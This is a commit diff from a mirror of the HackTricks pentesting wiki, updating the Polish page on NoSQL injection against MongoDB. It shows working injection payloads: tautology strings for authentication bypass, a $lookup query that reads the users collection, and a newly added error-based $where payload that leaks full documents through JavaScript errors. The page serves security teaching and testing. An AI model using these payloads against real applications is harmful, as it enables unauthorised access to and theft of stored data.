mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/nosql-injection.md'] to pl
This commit is contained in:
parent
7154a7c7b6
commit
49d9af9986
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
|
|||||||
```javascript
|
```javascript
|
||||||
query = { $where: `this.username == '${username}'` }
|
query = { $where: `this.username == '${username}'` }
|
||||||
```
|
```
|
||||||
Napastnik może to wykorzystać, wprowadzając ciągi takie jak `admin' || 'a'=='a`, co sprawia, że zapytanie zwraca wszystkie dokumenty, spełniając warunek tautologii (`'a'=='a'`). Jest to analogiczne do ataków SQL injection, gdzie używane są dane wejściowe takie jak `' or 1=1-- -`, aby manipulować zapytaniami SQL. W MongoDB podobne wstrzyknięcia można przeprowadzić, używając danych wejściowych takich jak `' || 1==1//`, `' || 1==1%00` lub `admin' || 'a'=='a`.
|
Napastnik może to wykorzystać, wprowadzając ciągi takie jak `admin' || 'a'=='a`, co sprawia, że zapytanie zwraca wszystkie dokumenty, spełniając warunek z tautologią (`'a'=='a'`). Jest to analogiczne do ataków SQL injection, gdzie używane są dane wejściowe takie jak `' or 1=1-- -`, aby manipulować zapytaniami SQL. W MongoDB podobne wstrzyknięcia można przeprowadzić, używając danych wejściowych takich jak `' || 1==1//`, `' || 1==1%00` lub `admin' || 'a'=='a`.
|
||||||
```
|
```
|
||||||
Normal sql: ' or 1=1-- -
|
Normal sql: ' or 1=1-- -
|
||||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||||
@ -88,7 +88,7 @@ Używając operatora **$func** z biblioteki [MongoLite](https://github.com/agent
|
|||||||
|
|
||||||
Możliwe jest użycie [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/), aby uzyskać informacje z innej kolekcji. W poniższym przykładzie odczytujemy z **innej kolekcji** o nazwie **`users`** i uzyskujemy **wyniki wszystkich wpisów** z hasłem pasującym do symbolu wieloznacznego.
|
Możliwe jest użycie [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/), aby uzyskać informacje z innej kolekcji. W poniższym przykładzie odczytujemy z **innej kolekcji** o nazwie **`users`** i uzyskujemy **wyniki wszystkich wpisów** z hasłem pasującym do symbolu wieloznacznego.
|
||||||
|
|
||||||
**UWAGA:** `$lookup` i inne funkcje agregacji są dostępne tylko wtedy, gdy użyto funkcji `aggregate()`, aby przeprowadzić wyszukiwanie, zamiast bardziej powszechnych funkcji `find()` lub `findOne()`.
|
**UWAGA:** `$lookup` i inne funkcje agregacji są dostępne tylko wtedy, gdy użyto funkcji `aggregate()`, aby przeprowadzić wyszukiwanie zamiast bardziej powszechnych funkcji `find()` lub `findOne()`.
|
||||||
```json
|
```json
|
||||||
[
|
[
|
||||||
{
|
{
|
||||||
@ -108,6 +108,12 @@ Możliwe jest użycie [**$lookup**](https://www.mongodb.com/docs/manual/referenc
|
|||||||
}
|
}
|
||||||
]
|
]
|
||||||
```
|
```
|
||||||
|
### Error-Based Injection
|
||||||
|
|
||||||
|
Wstrzyknij `throw new Error(JSON.stringify(this))` w klauzulę `$where`, aby wyeksportować pełne dokumenty za pomocą błędów JavaScript po stronie serwera (wymaga, aby aplikacja ujawniała błędy bazy danych). Przykład:
|
||||||
|
```json
|
||||||
|
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
|
||||||
|
```
|
||||||
## MongoDB Payloads
|
## MongoDB Payloads
|
||||||
|
|
||||||
Lista [stąd](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
Lista [stąd](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||||
@ -229,5 +235,6 @@ get_password(u)
|
|||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
||||||
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
||||||
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
||||||
|
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user